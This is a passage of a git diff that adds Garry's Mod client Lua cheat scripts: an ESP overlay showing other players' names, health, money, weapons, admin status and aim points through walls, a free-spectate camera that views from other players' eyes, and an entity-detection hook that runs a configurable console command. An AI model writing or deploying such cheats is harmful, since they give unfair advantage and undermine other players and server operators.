v:GetClass() ~= "prop_physics" and not v:IsWeapon() and v:GetClass() ~= "viewmodel" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + GAMEMODE:AddNotify(v:GetClass() .. " has entered " .. center.Naam, 1, 5) + + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", GREEN, v:GetClass(), WHITE, " is in "..center.Naam) + end + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + + timer.Simple(1, function() sound:Stop() end) + sound:Play() + end + end + end + end + +end +hook.Add("Think", "PlayerDetection", ThinkFunction) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua new file mode 100644 index 0000000..6acd2a7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua @@ -0,0 +1,543 @@ + + + +local CHair = CreateClientConVar("FESPCHair", 1, true, false) +local AimDotSize = CreateClientConVar("FESPAimDotSize", 4, true, false) +local AimDotBorder = CreateClientConVar("FESPAimDotBorder", 14, true, false) + +local ESPOn = CreateClientConVar("FESP_TOGGLE", 1, true, false) +local MiddleAllign = CreateClientConVar("FESPMiddleAllign", 0, true, false) +local dotsize = CreateClientConVar("FESPDotSize", 10, true, false) +local bordersize = CreateClientConVar("FESPBorderSize", 1, true, false) +local FShowName = CreateClientConVar("FESPShowName", 1, true, false) +local FShowHealth = CreateClientConVar("FESPShowHealth", 1, true, false) +local FShowAdmin = CreateClientConVar("FESPShowAdmin", 1, true, false) +local FShowOwner = CreateClientConVar("FESPShowOwner", 1, true, false) +local FShowRPMoney = CreateClientConVar("FESPShowRPMoney", 1, true, false) +local FShowSpeed = CreateClientConVar("FESPShowSpeed", 0, true, false) +local FShowDistance = CreateClientConVar("FESPShowDistance", 1, true, false) +local FShowWeapon = CreateClientConVar("FESPShowWeapon", 1, true, false) +local FMirror = CreateClientConVar("FESPMirror", 0, true, false) +local FMirrorx = CreateClientConVar("FESPMirrorx", 0, true, false) +local FMirrory = CreateClientConVar("FESPMirrory", 0, true, false) +local FMirrorw = CreateClientConVar("FESPMirrorw", 300, true, false) +local FMirrorh = CreateClientConVar("FESPMirrorh", 300, true, false) + +local CustomENTS = {} +local ESPPos = {} + +local DingetjesLijst = CreateClientConVar("FESPAllHappyDingetjes", "", true, false) +local DrawLijst = {} + +local EntityShowTable = {} +if DingetjesLijst:GetString() ~= "" then + EntityShowTable = string.Explode("|", DingetjesLijst:GetString()) +end + +local vector = FindMetaTable("Vector") + + //THIS IS THE FIRST THING I HAVE EVER DONE WITH A METATABLE :D +function vector:IsInSight(v) + local trace = {} + trace.start = LocalPlayer():GetShootPos() + trace.endpos = self + trace.filter = v + trace.mask = -1 + local TheTrace = util.TraceLine(trace) + if TheTrace.Hit then + return false + else + return true + end +end + +surface.CreateFont("ScoreboardText", 12, 1, false, true, "FALCO_TEST7") + +local function NamesOnHeads() + if ESPOn:GetInt() == 1 then + for k,v in pairs(DrawLijst) do + local pos = v.pos:ToScreen() + if not v.IsLooking then + draw.RoundedBox(1, pos.x - 0.5 * dotsize:GetInt(), pos.y - 0.5 * dotsize:GetInt() - #v.data * 20, dotsize:GetInt(),dotsize:GetInt(), Color(v.teamcolor.r,v.teamcolor.g,v.teamcolor.b)) + else + draw.RoundedBox(1, pos.x - 0.5 * (dotsize:GetInt() + AimDotBorder:GetInt()), pos.y - 0.5 * dotsize:GetInt(), 0.5 * dotsize:GetInt() + AimDotSize:GetInt(), 0.5 * dotsize:GetInt() + AimDotSize:GetInt(), Color(v.teamcolor.r,v.teamcolor.g,v.teamcolor.b)) + end + for a,b in pairs(v.data) do + if type(b) == "string" then + local w = 1 + if MiddleAllign:GetInt() == 1 then + w = string.len(b) * 2.3 + else + w = -0.5 * dotsize:GetInt() + end + draw.WordBox(bordersize:GetInt(), pos.x - w - dotsize:GetInt() , (pos.y + (a-1) * (13 + bordersize:GetInt()) + 0.5 * dotsize:GetInt()) - #v.data * 20 , b , "FALCO_TEST7", Color(0,0,0,50), Color(255, 255, 255, 255)) + end + end + end + for k,v in pairs(ESPPos) do + local pos = v:ToScreen() + draw.RoundedBox(1, pos.x - 0.5 * dotsize:GetInt(), pos.y - 0.5 * dotsize:GetInt(), dotsize:GetInt(),dotsize:GetInt(), Color(255,0,0,255)) + end + end + if FMirror:GetInt() == 1 then + local CamData = {} + local ang = LocalPlayer():EyeAngles() + CamData.angles = Angle(ang.p - ang.p - ang.p, ang.y - 180, ang.r) + CamData.origin = LocalPlayer():GetShootPos() + CamData.x = FMirrorx:GetInt() + CamData.y = FMirrory:GetInt() + CamData.w = FMirrorw:GetInt() + CamData.h = FMirrorh:GetInt() + render.RenderView( CamData ) + draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255)) + end +end +hook.Add("HUDPaint", "FESP2", NamesOnHeads) + +local function FESPAddEnt(ent, id) + CustomENTS[id or (#CustomENTS + 1)] = ent +end + +local function FESPRemoveEnt(id) + CustomENTS[id] = nil +end + +local function FESPClearEnt() + CustomENTS = {} +end + +local function FESPAddPos(vector) + table.insert(ESPPos, vector) +end + +local function FESPClearPos() + ESPPos = {} +end + +local function AddEntityToShow(ply, cmd, args) + table.insert(EntityShowTable, tostring(args[1])) + local newstring = table.concat(EntityShowTable, "|") + RunConsoleCommand("FESPAllHappyDingetjes", newstring) +end +concommand.Add("FESPAddEntity", AddEntityToShow) + +local function RemoveEntityToShow(ply, cmd, args) + for k,v in pairs(EntityShowTable) do + if string.lower(v) == string.lower(tostring(args[1])) then + table.remove(EntityShowTable, k) + local newstring = table.concat(EntityShowTable, "|") + if table.Count(EntityShowTable) > 0 then + RunConsoleCommand("FESPAllHappyDingetjes", newstring) + else + RunConsoleCommand("FESPAllHappyDingetjes", "") + end + end + end +end +concommand.Add("FESPRemoveEntity", RemoveEntityToShow) + +local function HeadPos(ent) + if not ValidEntity(ent) then return Vector(0,0,0) end + local head = ent:LookupAttachment("eyes") + if not ent:GetAttachment(head) then + return ent:GetShootPos() + end + return ent:GetAttachment(head).Pos +end + +local NoLookingAtWeapons = {"weapon_physgun", "weapon_physcannon", "gmod_camera", "keys", "pocket"} +local tick = 0 +local function FESPThink() + if ESPOn:GetInt() == 1 then + for k,v in pairs(player.GetAll()) do + if v ~= LocalPlayer() and v:Alive() then + local a = {} + local teamcolor = team.GetColor(v:Team()) + local wep = v:GetActiveWeapon() + a.data = {} + if FShowName:GetInt() == 1 then + table.insert(a.data, v:Nick()) + end + if FShowHealth:GetInt() == 1 then + table.insert(a.data, "Health: " .. tostring(v:Health())) + end + if FShowRPMoney:GetInt() == 1 and v:GetNetworkedInt("money") ~= 0 then + table.insert(a.data, "Money: " .. tostring(v:GetNetworkedInt("money"))) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "Speed: " .. tostring(speed)) + end + if FShowWeapon:GetInt() == 1 and wep:IsValid() then + table.insert(a.data, wep:GetPrintName()) + end + + a.pos = HeadPos(v) + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + + a.teamcolor = {} + if v:IsAdmin() and not v:IsSuperAdmin() then + if FShowAdmin:GetInt() == 1 then + table.insert(a.data,"Admin") + end + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 30 + a.teamcolor.g = 200 + a.teamcolor.b = 50 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + elseif v:IsSuperAdmin() then + if FShowAdmin:GetInt() == 1 then + table.insert(a.data, "Super Admin") + end + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 30 + a.teamcolor.g = 200 + a.teamcolor.b = 50 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + elseif not v:IsAdmin() then + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 100 + a.teamcolor.g = 150 + a.teamcolor.b = 245 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + end + + DrawLijst[v:EntIndex()] = a + + --hex + if CHair:GetInt() == 1 then + local b = {} + b.data = {} + b.teamcolor = {} + b.teamcolor.r = a.teamcolor.r + b.teamcolor.g = a.teamcolor.g + b.teamcolor.b = a.teamcolor.b + b.IsLooking = true + local lookat1 = v:GetEyeTrace() + local lookat = lookat1.HitPos + b.pos = lookat + if FShowName:GetInt() == 1 then + table.insert(b.data, v:Nick()) + end + DrawLijst[tostring(v:EntIndex()) .. "look"] = b + end + --/hex + + + end + + + if DingetjesLijst:GetString() ~= "" then + for k,v in pairs(ents.GetAll()) do + for a, b in pairs(EntityShowTable) do + local a = {} + if v:IsValid() and string.find(v:GetClass(), b) then + local pos = v:GetPos() + a.data = {} + if FShowName:GetInt() == 1 then + table.insert(a.data, v:GetClass()) + end + a.pos = pos + a.teamcolor = Color(255,255,255,255) + local owner = v:GetNWString("Owner") + if FShowOwner:GetInt() == 1 and owner ~= "" then + table.insert(a.data, owner) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "speed: " .. tostring(speed)) + end + + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + DrawLijst[v:EntIndex()] = a + end + end + end + end + + for k,v in pairs(CustomENTS) do + if not ValidEntity(v) then CustomENTS[k] = nil return end + local a = {} + a.data = {} + table.insert(a.data, v:GetClass()) + a.pos = v:GetPos() + a.teamcolor = Color(255,0,0,255) + local owner = v:GetNWString("Owner") + if FShowOwner:GetInt() == 1 and owner ~= "" then + table.insert(a.data, owner) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "speed: " .. tostring(speed)) + end + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + DrawLijst[v:EntIndex()] = a + end + tick = tick + 1 + if tick > 1000 then + for k,v in pairs(DrawLijst) do + DrawLijst = {} + end + tick = 0 + end + end + end +end +hook.Add("Think", "NamesOnHeads2_FESPThink", FESPThink) + + +function FESPVgui() + local frame = vgui.Create( "DFrame" ) + frame:SetTitle( "FESP config" ) + --frame:SetSize(280,660) + frame:SetSize(280,900) + frame:Center() + frame:SetVisible( true ) + frame:MakePopup() + + local Panel = vgui.Create( "DPanelList", frame ) + Panel:SetPos(20,30) + Panel:SetSize(240, 850) + Panel:SetSpacing(5) + Panel:EnableHorizontal( false ) + Panel:EnableVerticalScrollbar( true ) + + local ToggleEsp = vgui.Create( "DCheckBoxLabel", frame ) + ToggleEsp:SetText("Toggle FESP") + ToggleEsp:SetConVar("FESP_TOGGLE") + Panel:AddItem(ToggleEsp) + + local ShowName = vgui.Create( "DCheckBoxLabel", frame ) + ShowName:SetText("Show names") + ShowName:SetConVar("FESPShowName") + Panel:AddItem(ShowName) + + local ShowHealth = vgui.Create( "DCheckBoxLabel", frame ) + ShowHealth:SetText("Show health") + ShowHealth:SetConVar("FESPShowHealth") + Panel:AddItem(ShowHealth) + + local ShowAdmin = vgui.Create( "DCheckBoxLabel", frame ) + ShowAdmin:SetText("Show admin") + ShowAdmin:SetConVar("FESPShowAdmin") + Panel:AddItem(ShowAdmin) + + local ShowOwner = vgui.Create( "DCheckBoxLabel", frame ) + ShowOwner:SetText("Show owner") + ShowOwner:SetConVar("FESPShowOwner") + Panel:AddItem(ShowOwner) + + local ToggleChair = vgui.Create( "DCheckBoxLabel", frame ) + ToggleChair:SetText("Show what they're looking at") + ToggleChair:SetConVar("FESPCHair") + Panel:AddItem(ToggleChair) + + + local AimDotSizeVGUI = vgui.Create("DNumSlider", frame) + AimDotSizeVGUI:SetValue(AimDotSize:GetInt()) + AimDotSizeVGUI:SetConVar("FESPAimDotSize") + AimDotSizeVGUI:SetMin(0) + AimDotSizeVGUI:SetMax(50) + AimDotSizeVGUI:SetText("Aim dot size") + AimDotSizeVGUI:SetDecimals(0) + Panel:AddItem(AimDotSizeVGUI) + + local AimDotBorderVGUI = vgui.Create("DNumSlider", frame) + AimDotBorderVGUI:SetValue(AimDotBorder:GetInt()) + AimDotBorderVGUI:SetConVar("FESPAimDotBorder") + AimDotBorderVGUI:SetMin(0) + AimDotBorderVGUI:SetMax(50) + AimDotBorderVGUI:SetText("Aim dot border") + AimDotBorderVGUI:SetDecimals(0) + Panel:AddItem(AimDotBorderVGUI) + + + local ToggleRPMoney = vgui.Create( "DCheckBoxLabel", frame ) + ToggleRPMoney:SetText("Show their money(DarkRP)") + ToggleRPMoney:SetConVar("FESPShowRPMoney") + Panel:AddItem(ToggleRPMoney) + + local ToggleSpeed = vgui.Create( "DCheckBoxLabel", frame ) + ToggleSpeed:SetText("Show their speed") + ToggleSpeed:SetConVar("FESPShowSpeed") + Panel:AddItem(ToggleSpeed) + + local ToggleDistance = vgui.Create( "DCheckBoxLabel", frame ) + ToggleDistance:SetText("Show the Distance") + ToggleDistance:SetConVar("FESPShowDistance") + Panel:AddItem(ToggleDistance) + + local ToggleWeapon = vgui.Create( "DCheckBoxLabel", frame ) + ToggleWeapon:SetText("Show the Weapon") + ToggleWeapon:SetConVar("FESPShowWeapon") + Panel:AddItem(ToggleWeapon) + + local AllignMiddle = vgui.Create( "DCheckBoxLabel", frame ) + AllignMiddle:SetText("Allign in the middle") + AllignMiddle:SetConVar("FESPMiddleAllign") + Panel:AddItem(AllignMiddle) + + + local mirrorbutton = vgui.Create( "DButton", frame) + mirrorbutton:SetText( "Mirror" ) + mirrorbutton:SetSize(220, 20) + function mirrorbutton:DoClick() + frame:SetVisible(false) + RunConsoleCommand("Falco_Mirror") + end + Panel:AddItem(mirrorbutton) + + local dotsizeslider = vgui.Create( "DNumSlider", frame ) + dotsizeslider:SetValue(dotsize:GetInt()) + dotsizeslider:SetConVar("FESPDotSize") + dotsizeslider:SetMin(0) + dotsizeslider:SetMax(50) + dotsizeslider:SetText("The size of the dots") + dotsizeslider:SetDecimals(0) + Panel:AddItem(dotsizeslider) + + local bordersizeslider = vgui.Create( "DNumSlider", frame ) + bordersizeslider:SetValue(bordersize:GetInt()) + bordersizeslider:SetConVar("FESPBorderSize") + bordersizeslider:SetMin(0) + bordersizeslider:SetMax(50) + bordersizeslider:SetText("The size of the borders around the text") + bordersizeslider:SetDecimals(0) + Panel:AddItem(bordersizeslider) + + local EntList = vgui.Create("DListView", frame) + --EntList:SetSize(260, 70) + EntList:SetSize(260, 250) + EntList:AddColumn("FESP shows these entities:") + EntList:SetMultiSelect(false) + for k,v in pairs(EntityShowTable) do + EntList:AddLine(v) + end + function EntList:OnClickLine(line) + line:SetSelected(true) + RunConsoleCommand("FESPRemoveEntity", line:GetValue(1)) + EntList:RemoveLine(EntList:GetSelectedLine()) + end + + local AddEntLabel = vgui.Create( "DLabel", frame ) + AddEntLabel:SetText("\nSelect custom entities\nto make FESP show\nuse the ClassName of the ent(advanced)") + AddEntLabel:SizeToContents() + Panel:AddItem(AddEntLabel) + + local AddEntTextEntry = vgui.Create("DTextEntry", frame) + local notagain = notagain or 0 + function AddEntTextEntry:OnEnter() + if notagain < RealTime() then + local text = AddEntTextEntry:GetValue() + EntList:AddLine(text) + RunConsoleCommand("FESPAddEntity", text) + AddEntTextEntry:SetText("") + AddEntTextEntry:RequestFocus( ) + notagain = RealTime() + 0.1 + end + end + Panel:AddItem(AddEntTextEntry) + + + local AddEntLabel2 = vgui.Create( "DLabel", frame ) + AddEntLabel2:SetText("\nLook at something\nClick the next button\nAnd FESP will detect all of his kind") + AddEntLabel2:SizeToContents() + Panel:AddItem(AddEntLabel2) + + local AddLookingAtButton = vgui.Create("DButton", frame) + AddLookingAtButton:SetText("Add Looking at") + function AddLookingAtButton:DoClick( ) + local trace = LocalPlayer():GetEyeTrace() + if trace.Hit and trace.Entity:IsValid() then + RunConsoleCommand("FESPAddEntity", trace.Entity:GetClass()) + EntList:AddLine(trace.Entity:GetClass()) + end + end + Panel:AddItem(AddLookingAtButton) + Panel:AddItem(EntList) +end +concommand.Add("FESPConfig", FESPVgui) + +local function fmirrorderma() + local frame = vgui.Create( "DFrame" ) + frame:SetTitle( "FESP miror config" ) + frame:SetSize( 300, 300 ) + frame:Center() + frame:SetVisible( true ) + frame:MakePopup( ) + + local Panel = vgui.Create( "DPanelList", frame ) + Panel:SetPos(20,30) + Panel:SetSize(260, 260) + Panel:SetSpacing(5) + Panel:EnableHorizontal( false ) + Panel:EnableVerticalScrollbar( true ) + + local Mirror = vgui.Create( "DCheckBoxLabel", frame ) + Mirror:SetText("Enable mirror") + Mirror:SetConVar("FESPMirror") + Panel:AddItem(Mirror) + + local slidermirrorx = vgui.Create( "DNumSlider", frame ) + slidermirrorx:SetValue(FMirrorx:GetInt()) + slidermirrorx:SetConVar("FESPMirrorx") + slidermirrorx:SetMin(0) + slidermirrorx:SetMax(ScrW()) + slidermirrorx:SetText("Mirror X position") + slidermirrorx:SetDecimals(0) + Panel:AddItem(slidermirrorx) + function slidermirrorx:Think() + slidermirrorx:SetMax(ScrW() - FMirrorw:GetInt()) + end + local slidermirrory = vgui.Create( "DNumSlider", frame ) + slidermirrory:SetValue(FMirrory:GetInt()) + slidermirrory:SetConVar("FESPMirrory") + slidermirrory:SetMin(0) + slidermirrory:SetMax(ScrH()) + slidermirrory:SetText("Mirror Y position") + slidermirrory:SetDecimals(0) + Panel:AddItem(slidermirrory) + function slidermirrory:Think() + slidermirrory:SetMax(ScrH() - FMirrorh:GetInt()) + end + + local slidermirrorw = vgui.Create( "DNumSlider", frame ) + slidermirrorw:SetValue(FMirrorw:GetInt()) + slidermirrorw:SetConVar("FESPMirrorw") + slidermirrorw:SetMin(0) + slidermirrorw:SetMax(ScrW()) + slidermirrorw:SetText("Mirror width") + slidermirrorw:SetDecimals(0) + Panel:AddItem(slidermirrorw) + + local slidermirrorh = vgui.Create( "DNumSlider", frame ) + slidermirrorh:SetValue(FMirrorh:GetInt()) + slidermirrorh:SetConVar("FESPMirrorh") + slidermirrorh:SetMin(0) + slidermirrorh:SetMax(ScrH()) + slidermirrorh:SetText("Mirror height") + slidermirrorh:SetDecimals(0) + Panel:AddItem(slidermirrorh) +end +concommand.Add("Falco_Mirror", fmirrorderma) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua new file mode 100644 index 0000000..c0552f2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua @@ -0,0 +1,332 @@ + +local IsSpectating = false +local holding = {} +local SpectatePosition = Vector(0,0,0) +local CanMove = true // for if you're in an object you mustn't be able to move +local SaveAngles = Angle(0,0,0) // Only used when spectating an object +local SpecEnt = LocalPlayer() +local speed = 15 +local SelfModel = nil +local SpecEntSaveAngle = Vector(0,0,0) +local camsdata = {} +local camsize = CreateClientConVar("FSpecScreenSize", 5, true, false) +local ThPDist = 100 + +local function fnotify(text) + if GAMEMODE.IsSandboxDerived then // in some gamemodes GAMEMODE:AddNotify() doesn't exist + GAMEMODE:AddNotify(tostring(text), 1, 5) + surface.PlaySound( "ambient/water/drip2.wav") // I don't care about the other drips so no difficult concatenations or something + end +end + +local function FSpecSelectSomeone()//DONT SAY IT'S STOLEN FROM THE GODDAMN PLAYER POSSESSOR SWEP! I GODDAMN MAAAAADE THE PLAYER POSSESSOR SWEP! + holding = {} + if table.Count(player.GetAll()) <= 1 then + fnotify("You're the only one in the server") + return + end + local frame = vgui.Create("DFrame") + local button = {} + local PosSize = {} + + frame:SetSize( 200, 500 ) + frame:Center() + frame:SetVisible(true) + frame:MakePopup() + frame:SetTitle("Choose a player") + + PosSize[0] = 5 + for k,v in pairs(player.GetAll()) do + if v == LocalPlayer() then + PosSize[k] = PosSize[k-1] + elseif v!= LocalPlayer() then + PosSize[k] = PosSize[k-1] + 30 + frame:SetSize(200, PosSize[k] + 40) + button[k] = vgui.Create("DButton", frame) + button[k]:SetPos( 20, PosSize[k]) + button[k]:SetSize( 160, 20 ) + button[k]:SetText( v:Nick()) + frame:Center() + button[k]["DoClick"] = function() + if not ValidEntity(v) then fnotify("Can't spectate him at the moment") return end + CanMove = false + SpecEnt = v + end + end + end +end + +local function ToggleSpectate() + if IsSpectating then + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + if v:GetClass() == "viewmodel" then + v:SetNoDraw(false) + end + end + end + IsSpectating = false + CanMove = true + if ValidEntity(SpecEnt) then + SpecEnt:SetNoDraw(false) + SpecEnt = LocalPlayer() + end + speed = 15 + holding = {} + if ValidEntity(SelfModel) then + SelfModel:Remove() + end + SelfModel = nil + else + IsSpectating = true + SpectatePosition = LocalPlayer():GetShootPos() + SelfModel = ents.Create("prop_physics") + SelfModel:SetModel( LocalPlayer():GetModel() ) + SelfModel:Spawn() + SelfModel:SetPos(LocalPlayer():GetPos()) + + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + if v:GetClass() == "viewmodel" then + v:SetNoDraw(true) + end + end + end + + local ang = LocalPlayer():EyeAngles() + SelfModel:SetAngles(Angle(0, ang.y, 0)) + SelfModel:SetPlaybackRate( 1.0 ) + SelfModel:ResetSequence(SelfModel:SelectWeightedSequence( ACT_HL2MP_IDLE ) ) + SelfModel:SetCycle( 0 ) + --[[ if LocalPlayer():KeyDown(IN_FORWARD) then + holding.forward = true + end ]] + end +end +concommand.Add("FSpectate", ToggleSpectate) + +local function BindPresses(ply, bind, pressed) + if IsSpectating and not LocalPlayer():KeyDown(IN_USE) then + if string.find(bind, "forward") or string.find(bind, "moveleft") or string.find(bind, "moveright") or string.find(bind, "back") or string.find(bind, "jump") or string.find(bind, "duck") then + holding[string.sub(bind, 2)] = pressed + return true + elseif string.find(bind, "speed") then + if speed <= 15 then speed = 50 + elseif speed == 50 then speed = 15 + end + elseif string.find(bind, "walk") then + if speed ~= 2 then speed = 2 + elseif speed == 2 then speed = 15 + end + elseif string.find(bind, "attack2") and pressed then + FSpecSelectSomeone() + return true + elseif string.find(bind, "menu") and not string.find(bind, "context") and pressed then + if CanMove then + table.insert(camsdata, {pos = SpectatePosition, ang = LocalPlayer():EyeAngles(), obj = false}) + elseif not CanMove then + table.insert(camsdata, {obj = SpecEnt, dist = ThPDist, ang = SaveAngles}) + end + fnotify("Screen made") + return true + elseif string.find(bind, "menu_context") and pressed then + if #camsdata > 0 then + table.remove(camsdata, #camsdata) // remove the last one in the table + fnotify("Last screen removed") + end + return true + elseif string.find(bind, "reload") and pressed then + if CanMove then + local Tracey = {} + Tracey.start = SpectatePosition + Tracey.endpos = SpectatePosition + LocalPlayer():GetAimVector() * 100000000 + Tracey.filter = LocalPlayer() // in case you're aiming at yourself... IF that's even possible but I can't be arsed to test that + local trace = util.TraceLine(Tracey) + + if trace.Hit and trace.Entity and ValidEntity(trace.Entity) and not trace.Entity:IsPlayer() then + CanMove = false + SpectatePosition = trace.Entity:GetPos() + SaveAngles = LocalPlayer():GetAimVector():Angle() + SpecEntSaveAngle = trace.Entity:EyeAngles() + SpecEnt = trace.Entity + fnotify("Now spectating an entity") + elseif trace.Hit and trace.Entity and ValidEntity(trace.Entity) and trace.Entity:IsPlayer() then + CanMove = false + SpectatePosition = trace.Entity:GetShootPos() + SpecEnt = trace.Entity + fnotify("Now spectating " .. trace.Entity:Name()) + end + elseif not CanMove then + CanMove = true + if SpecEnt:IsPlayer() then + SpecEnt:SetNoDraw(false) + SpectatePosition = SpecEnt:GetShootPos() + LocalPlayer():SetEyeAngles(SpecEnt:EyeAngles()) + else + local ang = SpecEnt:EyeAngles() + SpectatePosition = SpecEnt:GetPos() - (Angle(ang.p, ang.y, ang.r + 180) + SaveAngles ):Forward() * ThPDist + LocalPlayer():SetEyeAngles((SpecEnt:GetPos() - SpectatePosition):Angle()) + SpectatePosition = SpecEnt:GetPos() + end + fnotify("Stopped spectating object") + end + return true + end + end +end +hook.Add("PlayerBindPress", "FSpectateBindPresses", BindPresses) + +local function DoMove(what) + if CanMove then + if string.find(what, "forward") then // todo + SpectatePosition = SpectatePosition + LocalPlayer():GetAimVector() * speed + elseif string.find(what, "back") then + SpectatePosition = SpectatePosition - LocalPlayer():GetAimVector() * speed + elseif string.find(what, "moveleft") then + SpectatePosition = SpectatePosition - LocalPlayer():GetAimVector():Angle():Right() * speed + elseif string.find(what, "moveright") then + SpectatePosition = SpectatePosition + LocalPlayer():GetAimVector():Angle():Right() * speed + elseif string.find(what, "jump") then + SpectatePosition = SpectatePosition + Vector(0,0,speed) + elseif string.find(what, "duck") then + SpectatePosition = SpectatePosition - Vector(0,0,speed) + end + elseif not CanMove then + if string.find(what, "forward") then // todo + SaveAngles = SaveAngles + Angle(0.1 * speed, 0, 0) + elseif string.find(what, "back") then + SaveAngles = SaveAngles - Angle(0.1 * speed, 0, 0) + elseif string.find(what, "moveleft") then + SaveAngles = SaveAngles - Angle(0, 0.1 * speed, 0) + elseif string.find(what, "moveright") then + SaveAngles = SaveAngles + Angle(0, 0.1 * speed, 0) + elseif string.find(what, "jump") then + ThPDist = ThPDist + 0.5 * speed + elseif string.find(what, "duck") and ThPDist > 0 then + ThPDist = ThPDist - 0.5 * speed + end + end +end + +local function FSpecThink() + if IsSpectating then + if ValidEntity(SelfModel) then + SelfModel:SetPos(LocalPlayer():GetPos()) + local ang = LocalPlayer():EyeAngles() + SelfModel:SetAngles(Angle(0, ang.y, 0)) + end + for k,v in pairs(holding) do + if v then + DoMove(k) + end + end + end +end +hook.Add("Think", "FSpectateThink", FSpecThink) + +local function FSpecCalcViewPosition(ply, origin, angles, fov) + if IsSpectating then + local view = {} + if not CanMove and not ValidEntity(SpecEnt) then + CanMove = true + end + if not CanMove and not SpecEnt:IsPlayer() then + local ang = SpecEnt:EyeAngles() + local pos = SpecEnt:GetPos() - (Angle(ang.p, ang.y, ang.r + 180) + SaveAngles ):Forward() * ThPDist + view.angles = (SpecEnt:GetPos() - pos):Angle() + view.origin = pos + elseif not CanMove and SpecEnt:IsPlayer() then + view.angles = SpecEnt:EyeAngles() + view.origin = SpecEnt:GetShootPos() + SpecEnt:SetNoDraw(true) + elseif CanMove then + view.angles = LocalPlayer():EyeAngles() + view.origin = SpectatePosition + end + + view.vm_origin = Vector(0,0,-13000) + return view + end +end +hook.Add("CalcView", "FSpectateCalcView", FSpecCalcViewPosition) + +function FSpecScreens() + local dat = {} + for k,v in pairs(camsdata) do + if not ValidEntity(v.obj) and v.obj == false then + dat.origin = v.pos + dat.angles = v.ang + dat.y = 0 + dat.w = ScrW() / camsize:GetInt() + dat.h = ScrH() / (0.75 * camsize:GetInt()) + if k <= camsize:GetInt() then + dat.x = (k-1) * ScrW() / camsize:GetInt() + elseif k > camsize:GetInt() and k <=2 * camsize:GetInt() then + dat.y = ScrH() / (0.75 * camsize:GetInt()) + dat.x = (k - (camsize:GetInt() + 1)) * ScrW() / camsize:GetInt() + elseif k > 2 * camsize:GetInt() then + dat.y = 2 * (ScrH() / (0.75 * camsize:GetInt())) + dat.x = (k - (2*camsize:GetInt()+1)) * ScrW() / camsize:GetInt() + end + render.RenderView( dat ) + elseif ValidEntity(v.obj) then + dat.w = ScrW() / camsize:GetInt() + dat.h = ScrH() / (0.75 * camsize:GetInt()) + dat.y = 0 + if k <= camsize:GetInt() then + dat.x = (k-1) * ScrW() / camsize:GetInt() + elseif k > camsize:GetInt() and k <=2 * camsize:GetInt() then + dat.y = ScrH() / (0.75 * camsize:GetInt()) + dat.x = (k - (camsize:GetInt() + 1)) * ScrW() / camsize:GetInt() + elseif k > 2 * camsize:GetInt() then + dat.y = 2 * (ScrH() / (0.75 * camsize:GetInt())) + dat.x = (k - (2*camsize:GetInt()+1)) * ScrW() / camsize:GetInt() + end + + if v.obj:IsPlayer() then + dat.origin = v.obj:GetShootPos() + dat.angles = v.obj:EyeAngles() + v.obj:SetNoDraw(true) + render.RenderView( dat ) + v.obj:SetNoDraw(false) + else + local pos = v.obj:GetPos() - (v.obj:EyeAngles() + v.ang ):Forward() * v.dist + dat.origin = pos + dat.angles = (v.obj:GetPos() - pos):Angle() + render.RenderView( dat ) + end + + elseif not ValidEntity(v.obj) and v.obj ~= false then + local temp = {} + camsdata[k] = nil + for k,v in pairs(camsdata) do + table.insert(temp, v) + end + camsdata = {} + for k,v in pairs(temp) do + table.insert(camsdata, v) + end + dat[k] = nil + end + end + if #camsdata > 0 then + draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255)) + end + + if IsSpectating then + surface.SetFont("HUDNumber") + surface.SetTextColor(255,255,255,255) + if CanMove then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Free spectating"), ScrH() - 80) + surface.DrawText("Free spectating") + elseif not 